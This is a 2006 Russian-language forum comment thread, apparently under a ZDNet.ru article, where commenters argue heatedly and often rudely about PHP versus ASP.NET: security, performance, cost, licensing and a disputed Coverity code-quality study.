Статья - просто отличная, зачем придиратся? По ней сразу видно, что это за фирма такая, если в ней генеральный директор не в состоянии написать простейшее сравнение, и вместо этого пишет совершенно глупый пиар, даже не удосужившись подумать, в чем смысл слова "сравнение" - а потом в комментах ещё и пальчиком грозит - "вот я наваяю ещё и про .NET vs JAVA". Вобщем, покупайте наших .NET-овских слонов - самых слоновьих слонов! Уже хоть бы сравнение стоимости реализации и поддержки сайтов привел, что было бы интересно даже с любой неоднородной выборкой - нет же, надерганы ошибки безопасности PHP, ряд рекламных слоганов для .NET - и получилось отличное сравнение.
	. 10 Oct 2006 8:05 PM
P.S. ах, да - в .NET нет никаких ошибок безопасности, это же закрытая платформа...
	нц 10 Oct 2006 8:23 PM
а что, статья вполне себе флеймомейкер и холиваростартер. с точки зрания продажи .нет - вы серьзнос читаете что на когото тут это повлияет? да и кстати SDK и MSDN-библИотека бесплатны. так что скорее всего просто мысли в слух с возможность покрутить отрезаемые баннеры :) редакция - прикрутите что-ль контенкст AD какой.. PS. а рулит руби-на-рельсах...
	xacid 10 Oct 2006 10:24 PM
пачем хостинх для дотнет
	SlvUn - slvunmail.ru 10 Oct 2006 10:54 PM
2xacid >пачем хостинх для дотнет Неизвестно. В свое время сам великий и ужасный PTO не смог обнаружить его. :-)
	Linfan 11 Oct 2006 2:36 AM
Послушайте, Виктор, не знаете вопроса - НУ НЕ ЛЕЗЛИ БЫ! Я понимаю, что вам нужны мокрохвостовские бонусы, которые потом можно сконверить в халявные лицензии Венды. Но мля, ваше собственная репутация вам не нужна? "Не говоря о том, что сама платформа является продуктом с закрытым кодом" Это единственное, что спасает разработки на дотьнете - мамбу, пхпшные форумы потрошат только потому, что у них внизу стоит копирайт автора и по нему нет проблем получить исходники. Страдают взломами кстати, самые галимые продукты - найдите напр. ковырялку для phpFusion. "Написанный код при первом обращении компилируется и впоследствии выполняется уже скомпилированный код, в отличие от PHP. Это заметно ускоряет разработку приложений." Батенька, вы вообще к компу подходить пробовали, или так, только графики рисуете для программеров? Вы че, не знаете, шо код на ПХП ваще не компилится и очень часто - это уже готовый HTML с небольшими внедрениями на ПХП? И разработка делается намного быстрее, чем ваяние классов дотьнетских или джавовских. "В случае PHP код будет намного длиннее и страница будет весить больше." По причине выше описанной - готовый хтмл из пхп будет явно короче. Гляньте на контент этого сайта - в нем пробелов и отступов вагон - а их тоже знаете ли, прокачивать надо (правда, все это муть - графика все-равно больше жрет). Кроме того - в ПХП вы контролируете каждый байт, а про дотнетчиков уже байки ходят - поменять какую либо финтифлюшку - километр кода написать в обход стандартной либы. "Код выполняется быстрее, занимает меньше ресурсов" Молодец, старался - два! Часто местная публика пишет сайты типа Yahoo или MSN? А для небольших проектов, с посещаемостью 50-100 тыс. запросов в день ПХП хватает выше крыши. А такую посещаемость еще надо заработать - и не одним годом раскрутки. Ваша котора тоже думаю, Гугль не разрабатывает. Так что СЛИВ ЗАЩИТАН. "Возможности Common Language Runtime включают автоматический подсчет ссылок и сборщик мусора." Уууу... Вам милейший знакомо понятие "меморилик"? А борьба с этим недугом дотнета? Я вот видел "сурьезные" сайты на дотнете да и на джаве на которых больше 5-10 посетителей - уже мемори аут. Это только минус для небольших проектов. "Ошибки программистов или карма?" Ой, боюсь что у вас это карма! "Постараюсь в ближайшее время в очередной статье показать преимущества .NET перед Java" ППЦ! НЕ ДАЙ БОГ! :)) РЖАТЬ БУДЕМ ВСЕМ ОФИСОМ - ПОЖАЛЕЙТЕ ДЖАВИСТОВ!
	Linfan 11 Oct 2006 2:48 AM
2Виктор Гичун: www.elite-stroy.com ЭТО ОБРАЗЕЦ ДОСТИЖЕНИЯ НА ДОТЬНЕТЕ?!!! Итить! Да этот сайт надо на чистом хтмл-е писать. На нем кроме флешки - ваще ничего нет. Батенька - тут можно только графикой хвастаться и флешиной. Но не дотнетом.
	Yo 11 Oct 2006 11:00 AM
Аффтар лох
	dem 11 Oct 2006 11:01 AM
Оппааааа http://www.securitylab.ru/vulnerability/275149.php Межсайтовый скриптинг в Microsoft .NET Framework
	Виктор Гичун - mailatilekt.ru 11 Oct 2006 11:18 AM
Спасибо за ссылку http://www.securitylab.ru/vulnerability/275149.php но если Вы могли заметить на том же самом сайте есть интересная заметка: "В последнее время сторонниками открытых проектов утверждается, что одним из главных преимуществ открытого кода является низкое количество ошибок по сравнению с закрытыми программами. Недавно с помощью системы Coverity, а также с участием Министерства Национальной Безопасности США и Стэнфордским университетом был проведён сравнительный анализ ста пятидесяти самых популярных Open Source проектов и проприетарного кода более чем сотни компаний – более 60 миллионов строк на всех. Так, исследование показало, что не существует Open Source проектов с меньшим количеством ошибок, чем в программах с закрытыми исходными кодами. На самом деле, в проприетарном ПО содержится в среднем в пять раз меньше ошибок. ПО результатам анализа, ПО с закрытым исходным кодом прошло 11 из 15 тестов на высокое качество и безопасность. Лучшие из программ с закрытым кодом были обнаружены в критических приложениях – типа программ для реактивных двигателей, ядерных электростанций, телефонных систем и медицинских устройств. В случае неправильной работы, такое ПО может привести к массовой гибели людей. Исследование также показало, что открытое ПО, несмотря на огромное количество ошибок, имеет более высокое качество кода по сравнению с закрытыми источниками." Которая подтверждает мои слова про то, что программисту на PHP приходится больше задумываться над безопасностью сосздаваемого приложения чем программисту на asp.net, т.к. в разработчики asp.net уже о многом позаботились за Вас. Конечно можно ваять сайты в блокноте и бить себя руками в грудь, дескать я такой крутой и не пользуюсь проприетарным ПО, но здравомыслящий человек возьмет для этого как минимум HomeSite.
	Desperado 11 Oct 2006 11:29 AM
помнится в детстве я тоже читал надписи на заборе, но знаешь, сколько туда не заглядывал, оказывалась, что там совсем другое :)
	ппххппис 11 Oct 2006 11:57 AM
За что птичку обидили? :( а рулит руби-на-рельсах... ДА ШО ВЫ ГОВОРИТЕ... 2аффтор, может сравните 2 равных по класу языка?? Ruby(Sux) && PHP??? :) рельсы не считаем - фреймфорк
	RSM 11 Oct 2006 11:59 AM
По поводу теста от Coverity: 1. В результатах указаны только продукты OpenSource и только какая-то загадочная их выборка, так что о качестве закрытого ПО и его представителей участвовавших в сравнении остается только догадываться (но по участию XMMS, могу предположить что сравнивали с калькулятором из Win) 2. И относительно Coverity как такогового - автоматические системы в состоянии определить только определенную группу возможных ошибок, а далеко не все. И не всегда это является реальной ошибкой, а только _возможной_. Но данный продукт нацелен в первую очередь на коммерческую разработку ПО и свои предположения о соотношении возможных и реальных они строили именно для него. Разработка же OS строится совсем другими методами и путями. Если в коммерческом ПО разработчик использует библиотеку только по формальному описанию интерфейса, то в Open Source разработчик не только пользуется описанием, но и во многих случаях изучает код используемой функции, если предполагает наличие подводных камней.
	Хе-хе - popovovmail.ru 11 Oct 2006 12:14 PM
Черезмерная активность PHP-скриптоделателей только подтверждает несоизмеримость технологии .NET и, не знаю как ее и назвать-то - PHP-тезнологией, что-ли. Почему солидные буржуйские компании заказывают .NET сайты? А доморощенные "фирмы" на PHP? .NET - "дорого да мило" - php - "дешево да гнило". Разговор ни о чем - или промышленная разработка - или кустарная.
	Aspfan 11 Oct 2006 12:32 PM
2 Linfan "Вы че, не знаете, шо код на ПХП ваще не компилится и очень часто - это уже готовый HTML с небольшими внедрениями на ПХП? И разработка делается намного быстрее, чем ваяние классов дотьнетских или джавовских." Ты сам понял что сказал, во первых ни кто не запрещает создавать страницы на asp.net тем же принцыпом что и в php. Во вторых какое ваяние классов, все уже наваенно до нас. В типичном маленьком проэкте один класс на страницу, в каждом строк по 10 кода. Возможно пару маленьких вспомогательных классов. Плюс куча классов сгенерированых DataSet-ом. Кучу классов преходиться ваять при сложной бизнес логики, чесно говоря представить не могу что из себя должен предстовлять схожий php. Код отображения таблицы(из БД) с пейжингом, сортировкой и возможностью вставки, редактирования и удалением записей превести не хочеш, опятьже про версионность не забываем. На asp это решается минут за пятнадцать, а на php ? "По причине выше описанной - готовый хтмл из пхп будет явно короче. Гляньте на контент этого сайта - в нем пробелов и отступов вагон - а их тоже знаете ли, прокачивать надо." В асп это решается написанием одного класса(HTTPModule) без МАЛЕЙШЕГО ИЗМЕНЕНИЯ готовых страниц. "Кроме того - в ПХП вы контролируете каждый байт, а про дотнетчиков уже байки ходят - поменять какую либо финтифлюшку - километр кода написать в обход стандартной либы" Километры кода приходится писать в php причом всегда, а извроженцы которым подай то, сами толком не знают что всегда найдуться. И как я сказал выше неновистные тебе классы и серверные контролы вовсе не обйзательно приминят, плюс еще более низкий уровень HTTPModule.
	Дмитрий 11 Oct 2006 12:49 PM
>>Почему солидные буржуйские компании заказывают .NET сайты? Реклама, заказные сравнительные обзоры в бизнес журналах и прочее, менеджеры делают выбор в сторону технологий известных производителей, т.к. их будет труднее обвинить в ошибке выбора, в случае провала проекта.
	Дмитрий 11 Oct 2006 12:53 PM
>>Лучшие из программ с закрытым кодом были обнаружены в >>критических приложениях – типа программ для реактивных >>двигателей, ядерных электростанций, телефонных систем и >>медицинских устройств. В случае неправильной работы, такое ПО >>может привести к массовой гибели людей. Вот вы и ответили на свой вопрос. Стабильность ПО в большей степени зависит от выбранной методологии.
	Виктор Гичун - mailatilekt.ru 11 Oct 2006 1:50 PM
Кто нибудь из приверженцев языка для создания хомяков хоть раз пытался интегрировать с помощью только PHP локальные системы документооборота предприятия с веб системой без привлечения програмиста С++ или JAVA ? Думаю, что только извращенец возьмется за такой проект вооруженный только PHP В этом то и прелесть asp.net в частности и технологии .net в общем, что используя .net Вы можете делать приложения любого уровня сложности и не привлекать к проекту программистов, пишущих на других языках. "Хе-хе" совершенно прав, что PHP хорош для несложных проектов, при условии что не прийдется со временем интегрировать созданное приложение с локальным приложением. Когда такой вопрос встанет, вот тут то и выяснится, что PHP не достаточно для решения более серьезных задач чем создание простеньких сайтов работающих на MYsql Как ни крути, а в конечном счете прийдется выбирать между JAVA и .NET А если изначально Вы используете .NET то когда встанет вопрос о создании чего то более серьезного Вам не прийдется переучиваться или брать в штат программистов на языках высокого уровня. Конечно, можно до конца жизни хаять Microsoft и все, что она делает, кричать, что ипользуя PHP мы спасаем себя от сложностей написания КЛАССОВ Только любой уважающий себя программист скажет, что даже при написании программ на PHP использование ООП упрощает разработку и масштабируемость. Поэтому даже люителям PHP рано или поздно прийдетс выучить ООП и вот тогда Вы поймете, на чем проще и удобнее создать сортируемый датагрид на PHP или на asp.net и удивитесь тому, что сегодня здесь писали.
	xacid 11 Oct 2006 2:03 PM
недавно делал халтуру для америкосов на 4м пыхпыхе... сначала конечно был в депрессии (после жабы), но потом обнаружил ЗАМЕЧАТЕЛНЕЙШИЙ фреймоворк CodeIginter (http://www.codeigniter.com/) и достаточно быстро все нахачил. среди вкусностей - тру МВК и повышенная секурность. нащот руби - руби язык общего назначения, не только для веба. и на этом поприще руби рвёт пыхпых неглядя. на поприще веба - пыхпых конечно типа стандарт, но без нормального фреймворка - слишком жалкое зрелище. хостинг для руби конечно думаю будет дороже/сложнее организовать, но лучшие фреймворки как для пыхпыха так даже и для жабы таки ориентируются на рельсы потихоньку. в принципе щас руби это референс платформа в опенсорсе....
	Геморрой 11 Oct 2006 2:11 PM
аффтару в ж...! Сравнил хрен с пальцем. Сколько "весит" ПХП и сколько "весит" АСП НЕТ? А дыры в самом НЕТ? Наконец степень тяжеловесности и прожорливости. Вот Яву и НЕТ сравнить можно. Только осторожно, чтоб народ со смеху не умер. Открою стрррашную тайну: под виндовсом нет заметной разницы между Явой и С#. Особенно если задействовать MS JVM. Ибо построены и навернуты обе примерно одинаково. А вот пробить Яву сложнее, так как отработана лучше. И завалив апплет не факт, что крякнет ось. А вот завалив НЕТ-приложение можно ось поставить раком на раз-два, так как все компоненты НЕТ становятся частью стстемы. Полуграмотное приложение вызовет сбой с закрытием, а безграмотное уложит систему. Т. е. опять уперлись в руки и мозги. . "Лучшие из программ с закрытым кодом были обнаружены в критических приложениях – типа программ для реактивных двигателей, ядерных электростанций, телефонных систем и медицинских устройств. В случае неправильной работы, такое ПО может привести к массовой гибели людей." Это вообще верх идиотизма. Автор, Вы хоть раз писали приложение ~100% надежности? Там ни одной технологии от МС и близко нет. и опенсорса тоже. Только спецсредства. Только тестирование/испытание. Только массовые прогоны. Что интересно, все эти спецсредства базируются на НИКСовых технологиях. Либо на самопале с контролем каждого байта кода. Так что здесь Вы лужу газифицировали публично. . ИМХО нахватался верхов "директор" и начал "учить". Поделия-то толкать надо, а тут злые пхписты бабло отбирают. "Пощел в ж..., директор" (с) Масяня. Пользовать буду тот инструмент, который адекватен задаче. И АСП НЕТ там не на первых местах.
	Alexander S. Kharitonov 11 Oct 2006 2:12 PM
2 Виктор Гичун: > Так, исследование показало, что не существует Open Source проектов с меньшим количеством ошибок, чем в программах с закрытыми исходными кодами. Если я правильно понял английский текст, то реально следует понимать их в том смысле, что лучшим в процессе тестирования оказался конктетный проприетарный продукт, сделанный для какой-то авиакомпании (или всё-таки аэрокосмической компании?). Но сказано об этом излишне громко, на первый взгляд может показаться, что написано что-то другое, а это наводит на определённые подозрения. Согласись, фразы типа "не нашлось открытого продукта, который превзошёл бы лучший из закрытых" и "на первом месте оказался закрытый продукт" означают одно и то же, однако первый вариант говорит о пристрастности автора, что, в свою очередь, ставит под сомнение его выводы. Впрочем, возможно я неправильно перевёл текст, поэтому процитирую оригинал: "In our research using automatic bug-hunting technology, no open-source project we analyzed had fewer software defects (per thousand lines of code) than the top-of-the-line closed-source application. That proprietary code, written for an aerospace company, is better than the best in open source—more than five times better, in fact. That company's software won't let you down when you're flying from New York to London." > Лучшие из программ с закрытым кодом были обнаружены в критических приложениях – типа программ для реактивных двигателей, ядерных электростанций, телефонных систем и медицинских устройств. В случае неправильной работы, такое ПО может привести к массовой гибели людей. Это тоже говорит о некорректности теста. Есть разные требования к удобству, функциональности, безопастности и скорости развития продукта. Очевидно, что они конфликнуют друг с другом, и в разных случаях будет сделан разный выбор. Если мы говорим о программе, от которой зависит работа ядерной электростанции, то понятно, что здесь именно надёжность выступает на первый план, и её будут отлаживать существенно дольше, чем медиаплеер, веб-сервер или даже ядро операционной системы общего назначения (независимо от того, коммерческий это продукт или свободный). Однако повторить этот подход для менее ответственных случаев затруднительно - вряд ли бы мы выйграли, если бы Windows был сейчас на уровне версии 3.1, а Linux на уровне версии ядра 2.0, но идеально отлаженными, а медиаплееры под разные системы всё ещё тестировались. При разработке продукта нужно идти на разумный компромис в зависимости от его области применения. Поэтому сравнивать нужно программы, предназначенные для одинаковых или сходных областей применения. Некорректные сравнения - достаточно частое явление. Однажды я решил проверить выводы небезызвестного Джорджа Оу (статья была на zdnet.ru), когда он сравнивал уязвимости в Windows и MacOS X. На первый взгляд всё было сделано корректно, но при более внимательном изучении обнаружилось, что он произвольно выбрал уровни опасности, то есть если взять более полный список, то результат менялся, и также немаловажно было время публикации статьи - практически сразу после обнаружения критической уязвимости в MacOS X. Если бы сравнивать данные за месяц до того, или, возможно, через пару месяцев после, то вывод должен был быть противоположным. То есть искуственно ограничив рассматриваемые уязвимости и удачно выбрав время удалось написать статью, выводы из которой звучали очень впечатляюще, и многие их запомнили. Но не каждый же полезет проверять, и увидит, что чуть изменив методику мы получим прямо противоположный результат... В общем, если методика закрыта или описывается в общих чертах, то доверять результатам не просто сложно, возникает подозрение что авторы знают, что результат на самом деле противоположный...
	Alexander S. Kharitonov 11 Oct 2006 2:14 PM
2 Виктор Гичун: > Как ни крути, а в конечном счете прийдется выбирать между JAVA и .NET Или Perl, Python и т.д...
	xacid 11 Oct 2006 2:15 PM
ребята, еще раз говорю - посмотрите нормальные вменяемые фреймворки для пыхпыха (упомянутый мною айнайтер например) - там все делается достаточно АБСТРАКТНО (уровень баз данных в том числе) и ничем по идеологии не хуже нормальных здоровых технологий. а местами экспириенс начинает быть похожим даже на, не побоюсь этого слова, LISP (благодаря нативной поддержке пыхпыхом аналога лисповских списков - ассоциативный массив пыхпыха). не совсем конечно лисп, но в принципе удобно. при грамотном проектировании пыхыхпых там становится совсем не напрягающим....
	xacid 11 Oct 2006 2:17 PM
короче поехал холивар флеймиться.... ))
	Геморрой 11 Oct 2006 2:18 PM
О! Сам автор признал разнокалиберность! Только "тактично" забыл упомянуть о стоимости старта на пыхе и НЕТе. Начинать на НЕТе с великими и ужасными перспективами в будущем, кидать деньги... и обнаружить через Х лет, что все надо портировать с НЕТ на ДА, новейшую-перспективнейшую супер-пупер-ыбанупер инновацию МС. Потому что МС кинула старье. А потом, после портирования выяснить, что... писать надо заново, так как порт работает не так, как оригинал. Перспективы перспективам рознь. Иногда лучше переделать с нуля.
	Desperado 11 Oct 2006 2:20 PM
2Виктор Гичун может вы хорошо поете или красиво танцуете, может рисуете ? а то складывается впечатление, что вы не из области ИТ. пхп это инструмент для рисования веб морды и пока самый удобный для этой цели. ненужно на не строго тиризированом языке делать документо-оборот или ERP, он не для этого создавался. возьми oracle files и рисуй на здоровье веб морду на пхп, это будет на порядок быстрее и функциональней чем изобретения велосипедов. к стате какой смысл использования .net в качестве тучи класов если там до сих пор не появилось нормального ORM ? типа из процедурного пхпшного подхода типа выросли но до java ORM не доросли, зато рассуждать готовы :)
	xacid 11 Oct 2006 2:32 PM
пытаться во все дыры втиснуть что то одно (будь то пыхпых, доднет, жаба или даже плюсы) - верный способо разбить себе башку об стенку. какой смысл? каждая тулза имеет свои сильные и слабые стороны. и доднет ниразу не исключение. среди минусов навскидку - сильная платформозависимость (тока не надо про моно, я вас умоляю).... )) а так - у доднета своя ниша очевидна. имя ей - винда
	Виктор Гичун - mailatilekt.ru 11 Oct 2006 2:37 PM
>Геморрой ....Потому что МС кинула старье...< Может быть приведете пример кинутого MS старья, из за чего пришлось писать заново? В Инете масса сайтов, которые в свое время были написаны на asp и сейчас к ним дописываются новые блоки на asp.net и старые модули ни кто не переписывает, нет нужды. Кто работал в Visual Studio с MFC то без проблем перешел на VS .net Вопрос лишь в том, с какими задачами Вы сталкиваетесь повседневно и какая технология изначально была взята за основу. А что касается "Иногда лучше переделать с нуля." это путь в никуда. Если программа писалась год или 2 и Вы скажете руководителю, что Вам проще ее переделать с нуля, могу себе представить его глаза и ответ. :))
	Alexander S. Kharitonov 11 Oct 2006 3:03 PM
Кстати, а что там за автоматическая проверка на ошибки? Я как-то наткнулся на результат анализа автоматическим средством какого-то аппаратного маршрутизатора или ещё чего-то в этом роде. Результат содержал кучу предупреждений, однако подавляющее большинство из них, по всей видимости, выглядело ложными срабатываниями. Может мы обсуждали именно такие данные?
	Linfan 11 Oct 2006 4:45 PM
Виктор Гичун: "исследование показало, что не существует Open Source проектов с меньшим количеством ошибок, чем в программах с закрытыми исходными кодами." Как не назвать аффтара поста обманщиком? В "исследовании" на которое сцылается уважаемый гендиректор сравнивался код систем ПРО и управления атомных станций с опенсорсовыми пректами. Сравнили длинное с кислым! МинОбороны можно понять - оно ищет возможность заюзать халявный код. А вот наш аффтар занимается попутно грязным пеаром MS, не взирая на то, шо его бизнес-технологии и рядом не валялись в вышеупомянутом исследовании. В интеграции с MS Office бесспорно будет впереди дотнет - это и ежу понятно. Но в случае хака такой системы, вознаграждение - документооборот конторы. "Если программа писалась год или 2 и Вы скажете руководителю" Есть проекты, которые дешевле придушить, чем саппортить - стоимость поддержки будет дороже, чем написание. Но это конечно для серьезных проектов.
	Linfan 11 Oct 2006 4:57 PM
Хе-хе: ".NET - "дорого да мило" - php - "дешево да гнило"." Сэр, вы умственно неполноценны или только прикидываетесь? Чтобы написать сайт в пять страниц (чем г-н Гичун постоянно похоже и занимается) нет смысла использовать более дорогую и более громоздкую технологию. Тем более, что хостинг вашего поделия еще найти надо. Благодаря PHP мы имеет быстрорастуший Инет. А вот за "супер-пупер апупенный" дотнет мало того, что нужно платить за дорогую разработку, так еще в тридорога за хостинг и за коннекшины к серверу пользователей - или это тоже нормально? Инет - это не только зажратые московские фирмы - пора бы к этой мысли привыкнуть.
	dr-Wicked 11 Oct 2006 4:59 PM
>>"Есть проекты, которые дешевле придушить, чем саппортить" …они назьіваются зрельіми.
	fi 11 Oct 2006 5:06 PM
2 Виктор Гичун: > Как ни крути, а в конечном счете прийдется выбирать между JAVA и .NET А почему бы для начало не сравнить .НЕТ 1.0, 1.1, 2.0 ? И убедиться в их несовместимости :)
	Chkalofff 11 Oct 2006 5:14 PM
2 Геморрой: >Сколько "весит" ПХП и сколько "весит" АСП НЕТ? .NET Framework весит почти 27 мегов. Но туда входит тухева хуча готовых библиотек, собственно объединенных в 1 фрейворк готовых для создания как Windows, так и web приложений. Плюс компиляторы трех языков. >Открою стрррашную тайну: под виндовсом нет заметной разницы >между Явой и С#. Особенно если задействовать MS JVM. Ибо >построены и навернуты обе примерно одинаково. А вот пробить >Яву сложнее, так как отработана лучше. Разницы в чем, по скорости? Ну C# в целом быстрее, хотя наверное принципиальной скорости нет, как и впрочем между C# и С++ _в_общем_случае_ тоже. А вот на счет пропить Javа сложнее. Ссылки в студию, а то че так трепаться.
	Chkalofff 11 Oct 2006 5:16 PM
2 Геморой: >Это вообще верх идиотизма. Автор, Вы хоть раз писали >приложение ~100% надежности? Там ни одной технологии от МС и >близко нет. и опенсорса тоже. Только спецсредства. Только >тестирование/испытание. Только массовые прогоны. Что >интересно, все эти спецсредства базируются на НИКСовых >технологиях. Либо на самопале с контролем каждого байта кода. >Так что здесь Вы лужу газифицировали публично. Опять пустословье какое-то. Нука даваейте подробнее, каких таких решений нет аналогов на винде?
	Chkalofff 11 Oct 2006 5:18 PM
Геморой: >Только "тактично" забыл упомянуть о стоимости старта на пыхе и >НЕТе. И там и там стоимость старта $0, если не считать стоимость ОС, которая и так есть.
	Chkalofff 11 Oct 2006 5:24 PM
2 fi: Да не так уж они не совместимы. По крайней мере не более чем другие платформы на рынке.
	Просто мимо проходил. 11 Oct 2006 5:37 PM
>> 11 октября, 2006, 17:18 - Chkalofff Геморой: >Только "тактично" забыл упомянуть о стоимости старта на пыхе и >НЕТе. И там и там стоимость старта $0, если не считать стоимость ОС, которая и так есть. << А помтом приходят ребятя в форме и с автоматами и спрашивают, а покажите ка нам лицензию на ту виндовс и офис, которая у Вас на ~100 компах на предприятии "и так есть" ... Прициденты кстати уже есть, и, возможно, скоро станут массовыми (http://www.kommersant.ru/region/nnov/page.htm?Id_doc=712065 ) До кучи будет интересно узнать, как вы будете лабать и отлаживать свои продукты при 0$ом старте на голом SDK, без любимой VS.NET ... Или она у Вас тоже "так есть", как и ось? ...
	Chkalofff 11 Oct 2006 6:55 PM
2 Просто мимо проходил: >А помтом приходят ребятя в форме и с автоматами и спрашивают, >а покажите ка нам лицензию на ту виндовс и офис, которая у Вас >на ~100 компах на предприятии "и так есть" Мы про лецензионность Windows говорим, или про PHP - ASP.NET? 3 аргумента: 1) Все пользуются Windows (лецензионнным или нет). Доля Linux не смотря на его холяву на десктопе ничтожна. 2) Если придет ваша вышеупомянутая бригада, то пофиг был у вас на установлен PHP или ASP.NET. 3) .NET бесплатный.
	Chkalofff 11 Oct 2006 6:59 PM
2 Просто мимо проходил. >До кучи будет интересно узнать, как вы будете лабать и >отлаживать свои продукты при 0$ом старте на голом SDK, без >любимой VS.NET ... Или она у Вас тоже "так есть", как и >ось? ... Во-первых, PHP пишут в notepad, Far и всяком подобном не IDE-софте. Есть IDE, но пишут и без него. Ничто не мешает это делать и с ASP.NET. Это было во-первых. Во-вторых. http://msdn.microsoft.com/vstudio/express/default.aspx
	Linfan 11 Oct 2006 7:43 PM
Chkalofff: по опыту могу сказать, шо увидев живьем Линух бригада бывает в растерянности (хотя если валят по-взрослому - могут и линуксячие тачки забрать на предмет VMWare т.п.).
	Dima 11 Oct 2006 10:39 PM
2 Просто мимо проходил. >До кучи будет интересно узнать, как вы будете лабать и >отлаживать свои продукты при 0$ом старте на голом SDK, без >любимой VS.NET ... Или она у Вас тоже "так есть", как и >ось? ... Вы, наверное, просто не знаете, но в _бесплатном_ .NET SDK есть полноценный оконный отладчик <installpath>\SDK\v2.0(или v1.1, v1.0)\GuiDebug\DbgCLR.exe
	IVR 11 Oct 2006 11:27 PM
Подобную чушь я давно не читал. Автор крайне некомпетентен. Приведенные ошибки также характерны и для асп.нет, и я сочуствую его клиентам, для которых он создает сайты не зная базовых ошибок своего языка программирования. "Написанный код при первом обращении компилируется и впоследствии выполняется уже скомпилированный код, в отличие от PHP. Это заметно ускоряет разработку приложений." - бред. Компиляция увеличивает скорость выполнения, а скорость разработки может только замедлятся, автор видно даже не понимает что это такое! И притом тормознутось дотнет компенсирует выигрыш в скорости. Вообще позор зднету, зашел первый раз за месяц, а тут такая фигня. Видно уже с патрохами продались мелкомягким.
	oleg 11 Oct 2006 11:40 PM
мнда, автор... хреновая реклама своей конторы!
	Eugene - bj22mail.ru 11 Oct 2006 11:55 PM
Ребята, я пишу на PHP долго и матерюсь ровно столько сколько пишу. Пишу я серьезную коммерческую систему и продается она по 20000 дол за инсталяцию в несколькихс странах. Это для того чтобы не слышать бреда типа "сначала научитесь". Так вот что я скажу из своего опыта: 1. Домашние странички - только PHP даже нет с чем сравнить 2. Любые приложения в которых принципиальна стабильность работы - никогда не используйте следующие продукты PHP, MySQL, Apache по причинам того что если у вас что-то не работает и вы даже можете доказать что это вина разработчика этого "свободного от мозгов" софта, он скажет "ой, мы потом исправим", а вам придется оплачивать счета клиентов по возмещению ущерба. 3. Спорить что лучше и что хуже достаточно странно. Каждому свое. Хотя лучшего средсьва разработки чем VS 2003 - VS 2005 я не видел в природе и даже не слышал (Eclipse не приводить - не смешите) 4. По поводу цены комплектаразработки. покупаете раз в 2 года MSDN Universal за 480 дол и имеете абсолютно все что надо для разработки на MS системах (я лично устал DVD по почте получать постоянно) И не говорите что это много. 5. Нормальные среды разработки для PHP тоже вполне платные. Причем комплект от Zend обойдется вам практически в те же деньги что и комплект от MS 6. Что в остатке? Обычный всегдашний спор Виндоусников с Юниксоидами ))) 7. Автор стаьи конечно написал что-то совершенно непонятное и не по делу - это точно ))) 8. Лично мой сервер стоит под FreeBSD и будет стоять под ней всегда и сайтик лично мой на PHP, но для коммерческого софта - это просто смешно...
	Alexander S. Kharitonov 12 Oct 2006 1:18 AM
2 Eugene: > Любые приложения в которых принципиальна стабильность работы - никогда не используйте следующие продукты PHP, MySQL, Apache по причинам того что если у вас что-то не работает и вы даже можете доказать что это вина разработчика этого "свободного от мозгов" софта, он скажет "ой, мы потом исправим", а вам придется оплачивать счета клиентов по возмещению ущерба. У меня сложилось впечатление, что разработчики свободного софта оперативнее устраняют ошибки. Например я последнее время регулярно захожу на secunia.com посмотреть, когда же будет исправлена критически опасная уязвимость в Internet Explorer (http://secunia.com/advisories/21910/) - ей скоро будет уже месяц... Но наверное в любом сложном продукте можно наткнуться на ту или иную проблему. Никто не даст гарантий обратного ни для открытого, ни для закрытого продукта. И если ты действительно разработчик серьёзной коммерческой системы, ты должен был сталкиваться с ситуациями, когда приходится обходить чужие недоработки, независимо от того, про коммерческий или про свободный продукт идёт речь.
	qwer 12 Oct 2006 4:57 AM
Подобную чушь я давно не читал. Автор крайне некомпетентен. Приведенные ошибки также характерны и для асп.нет, и я сочуствую его клиентам, для которых он создает сайты не зная базовых ошибок своего языка программирования. >"Написанный код при первом обращении компилируется и >впоследствии выполняется уже скомпилированный код, в отличие от >PHP. Это заметно ускоряет разработку приложений." - бред. >Компиляция увеличивает скорость выполнения, а скорость >разработки может только замедлятся, автор видно даже не >понимает что это такое! И притом тормознутось дотнет >компенсирует выигрыш в скорости. А как насчёт того, что динамическая типизируемость может допустить такие завуалированные семантические ошибки, которые при статической типизированности даже не появились бы. Видимо это автор и и мел ввиду под компилируемостью. Хотя не спорю, об стену автору бы не помешало :)))
	(от маркетинга) 12 Oct 2006 7:06 AM
Не берусь влезать в технические тонкости, что хуже или лучше, однако вот что пришло в голову: .NET программисты участвуют в крупных хорошо оплачиваемых проектах. Их заработок выше, в противовес использующих опенсорс. Для рядового php программиста из веб студии где-то в провинции это более убедительный довод перейти на VS, чем тех-подробности понятные узкому кругу профи.
	(от маркетинга) 12 Oct 2006 7:17 AM
Российским программистам доводы вроде "VS2005 позволяет меньше писать кода" или "PHP - это не программирование!"(от Ложечкина) подходят мало. А вот существенные, от 1300$ заработки программеров на коммерческом ПО, совсем другое дело!
	(от маркетинга) 12 Oct 2006 8:09 AM
2 Alexander S. Kharitonov Никто и не спорит, сотрудники MS регулярно срывают овации публики презентуя свои беты. Про вирусоустойчивость outlook даже и говорить нечего. Речь шла о пригодности к разработке, а это не только скорость заделывания багов. По поводу популярности perl - вот статистика яндекса. У perl узкое применение "не в маленьких студиях", хотя он распространен даже больше, чем VS. Результат поиска: страниц — 42 830 410, сайтов — не менее 12 021, в каталоге — 100 Статистика слов: php — 142 534 099. Запросов за месяц: php — 186 375. Результат поиска: страниц — 3 112 596, сайтов — не менее 1 818, в каталоге — 71 Статистика слов: perl — 8 953 874. Запросов за месяц: perl — 37 516.
	chkalofff 12 Oct 2006 8:46 AM
2 Alexander S. Kharitonov: >У меня сложилось впечатление, что разработчики свободного софта >оперативнее устраняют ошибки. Например я последнее время >регулярно захожу на secunia.com посмотреть, когда же будет >исправлена критически опасная уязвимость в Internet Explorer >(http://secunia.com/advisories/21910/) - ей скоро будет уже >месяц... Во-первых вы от темы откланяетесь. Впечатления впечатлениями, а вы сравните количество уязвимостей PHP и ASP.NET и все на свои места встанет. По поводу месяца. МС выпускает заплатки по расписанию и перешли на этот режим какраз по просьбе пользователей. т.е. раз в месяц через windowsupdate рассылаются хотфиксы разом ко всем продуктам.
	xxx2 - nxxo5email.ua 12 Oct 2006 8:50 AM
NET - sux Xotя B Linux'e ectb noggep}i{ka Net, 6oльwoU nonyлярностью эта весч не пользуется
	Alexander S. Kharitonov 12 Oct 2006 9:16 AM
